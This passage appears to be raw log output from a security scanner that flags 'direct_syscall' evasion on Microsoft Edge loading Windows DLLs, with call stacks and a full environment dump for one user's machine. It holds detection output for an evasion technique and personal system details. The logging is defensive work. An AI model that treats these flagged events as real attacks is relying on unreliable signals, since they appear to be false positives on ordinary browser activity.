C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcb85f4282 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffcb860cdfd C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffcb8596f70 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85c7565 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85c7cfb C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffc70cea538 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70cea332 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70ce703b C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70cf4184 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70cf325c C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70cd2e1c C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70bfa0f3 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70c1ce3e C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70caf0a7 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70cb11e4 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70d38a76 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70e7453f C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T16:32:16+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 14127374 + Pid: 7364 + Tid: 14128 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 16:32:15.8743273 +0100 CET + Params: base_address➜ 7ffca9410000, checksum➜ 710378, default_address➜ 7ffca9410000, file_path➜ C:\Windows\System32\MicrosoftAccountWAMExtension.dll, image_size➜ 692224, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd6644fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffcdd7cd25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd61923c C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd618af7 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd61966a C:\Windows\System32\combase.dll!CLSIDFromProgID|0x7ffcdd61a6c9 C:\Windows\System32\combase.dll!RoActivateInstance|0x7ffcb85c56d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb858408f C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb858e3b9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb858db3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb8606922 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffcb85b9dd1 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85b89d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85cf09d C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcdda4ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda4a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda49c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T16:32:18+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 14144375 + Pid: 7364 + Tid: 9008 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 16:32:17.6979002 +0100 CET + Params: base_address➜ 7ffcd5500000, checksum➜ 873482, default_address➜ 7ffcd5500000, file_path➜ C:\Windows\System32\webio.dll, image_size➜ 827392, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcd8618fd2 C:\Windows\System32\winhttp.dll!WinHttpGetProxyForUrlEx2|0x7ffcd8633207 C:\Windows\System32\winhttp.dll!WinHttpCheckPlatform|0x7ffcd85a2688 C:\Windows\System32\winhttp.dll!WinHttpQueryHeaders|0x7ffcd85a1f57 C:\Windows\System32\winhttp.dll!WinHttpQueryHeaders|0x7ffcd85a1df4 C:\Windows\System32\winhttp.dll!WinHttpQueryHeaders|0x7ffcd85a1d1f C:\Windows\System32\winhttp.dll!WinHttpQueryHeaders|0x7ffcd85a2e67 C:\Windows\System32\winhttp.dll!WinHttpSendRequest|0x7ffca9433d4f C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffca94337ff C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffca9433527 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffca94325cc C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffca9418c8e C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffca946815d C:\Windows\System32\MicrosoftAccountWAMExtension.dll!DllCanUnloadNow|0x7ffca9447367 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!DllCanUnloadNow|0x7ffca942a8de C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffca9428ff5 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffca9415619 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffcb858e556 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb858db3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb8606922 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffcb85b9dd1 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85b89d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85cf09d C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcdda4ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda4a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda8f8e3 C:\Windows\System32\SHCore.dll!GetCurrentProcessExplicitAppUserModelID|0x7ffcdeab847d C:\Windows\System32\ntdll.dll!TpAlpcUnregisterCompletionList|0x7ffcdea563d9 C:\Windows\System32\ntdll.dll!RtlSetThreadSubProcessTag|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T16:32:18+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 14145258 + Pid: 7364 + Tid: 9008 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 16:32:17.9431938 +0100 CET + Params: base_address➜ 7ffca2750000, checksum➜ 444943, default_address➜ 7ffca2750000, file_path➜ C:\Windows\System32\CryptoWinRT.dll, image_size➜ 446464, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program 